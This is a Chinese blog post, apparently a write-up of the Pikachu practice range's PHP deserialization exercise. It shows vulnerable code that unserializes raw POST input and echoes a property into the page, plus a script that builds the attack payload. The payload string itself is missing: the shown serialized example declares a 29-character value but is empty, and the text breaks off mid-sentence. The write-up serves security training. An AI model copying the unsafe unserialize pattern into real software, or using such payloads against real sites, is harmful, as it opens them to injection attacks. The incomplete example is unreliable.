pikachu靶场PHP反序列化漏洞

pikachu靶场PHP反序列化漏洞

源码分析

查看源代码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}



// O:1:"S":1:{s:4:"test";s:29:"";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="

大兄弟,来点劲爆点儿的!

"
; }else{ $html.="

{$unser->test}

"
; } }

  • $s 接受上传的参数
$s = $_POST['o'];

  • 判断是否能够被反序列化,即上传的参数是否经过序列化

if(!@$unser = unserialize($s))

  • 如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct() ,$unser->test 用来输出反序列化后的对象的 test 属性的值到页面上

构造payload


class S{
    var $test = "";
}
    // 创建一个对象
    $s = new S();
    //把这个对象进行序列号输出
    print_r(serialize($s));
?>

在浏览器访问后,发现 直接弹出一个提示框,是因为浏览器识别到 

你可能感兴趣的:(漏洞复现,笔记,php,开发语言)